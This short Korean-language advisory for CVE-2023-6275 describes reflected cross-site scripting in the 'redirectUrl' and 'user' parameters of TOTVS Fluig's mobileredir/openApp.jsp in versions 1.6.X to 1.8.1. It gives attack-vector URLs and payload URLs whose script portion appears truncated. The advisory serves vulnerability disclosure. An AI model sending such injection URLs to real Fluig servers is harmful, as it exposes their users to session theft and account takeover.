CVE-2023-6275 - TOTVS Fluig Plataform 1.6.X - 1.8.1의 반사형 크로스 사이트 스크립팅

TOTVS Fluig 플랫폼은 1.6.1.X에서 1.8.1 버전까지 'mobileredir' 모듈 내 'redirectUrl' 및 'user' 매개변수에서 사이트 간 스크립팅(Cross-Site Scripting) 취약점이 존재합니다.

Fluig는 브라질 최대 기술 기업 TOTVS가 개발하고 고객 서버에 호스팅되는 ERP 시스템과 통합된 생산성 및 협업 플랫폼입니다.

영향 받는 버전:

-- Fluig 1.6.X - Fluig 1.8.1 …

공격 벡터

https://fluig.host.com/mobileredir/openApp.jsp?redirectUrl=PAYLOAD

https://fluig.host.com/mobileredir/openApp.jsp?user=PAYLOAD

페이로드:

https://fluig.host.com/mobileredir/openApp.jsp?redirectUrl="> https://fluig.host.com/mobileredir/openApp.jsp?user=">